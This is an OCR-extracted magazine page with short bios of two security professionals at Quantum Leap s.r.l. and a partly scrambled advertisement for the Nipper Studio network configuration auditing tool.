Francesco Perina is a computer enthusiast since childhood and has spent more than 15 years on the research of security issues related to applications and communication protocols, both from the offensive and defensive point of view. He is a partner and technical director of Quantum Leap s.r.l., a company that offers security services to companies and organizations. http:// www.linkedin.com/in/francescoperna, f.perna@quantum leap.it, www.quantumleap.it

FRaNcesco PeRNa

Pietro Minniti is a Security Professional for over 10 years and he focused his research mainly in the ERP security field. As application security specialist in Quantum Leap, he performs the security analisys on corporate networks and national critical infrastructure environment. http://www.linkedin.com/in/pietrominniti, p.minniti@quantumleap.it, www.quantumleap.it
http://pentestmag.com

PieTRo MiNNiTi

Page 73

U P D AT E NOW WITH

STIG

AUDITING

IN SOME CASES

REMOVED
the

HAS VIRTUALL Y

nipper studio
NEED FOR a

MANUAL AUDIT
CISCO SYSTEMS INC.
Titanias award winning Nipper Studio configuration auditing tool is helping security consultants and enduser organizations worldwide improve their network security. Its reports are more detailed than those typically produced by scanners, enabling you to maintain a higher level of vulnerability analysis in the intervals between penetration tests. Now used in over 45 countries, Nipper Studio provides a thorough, fast & cost effective way to securely audit over 100 different types of network device. The NSA, FBI, DoD & U.S. Treasury already use it, so why not try it for free at www.titania.com

www.titania.com

You might also like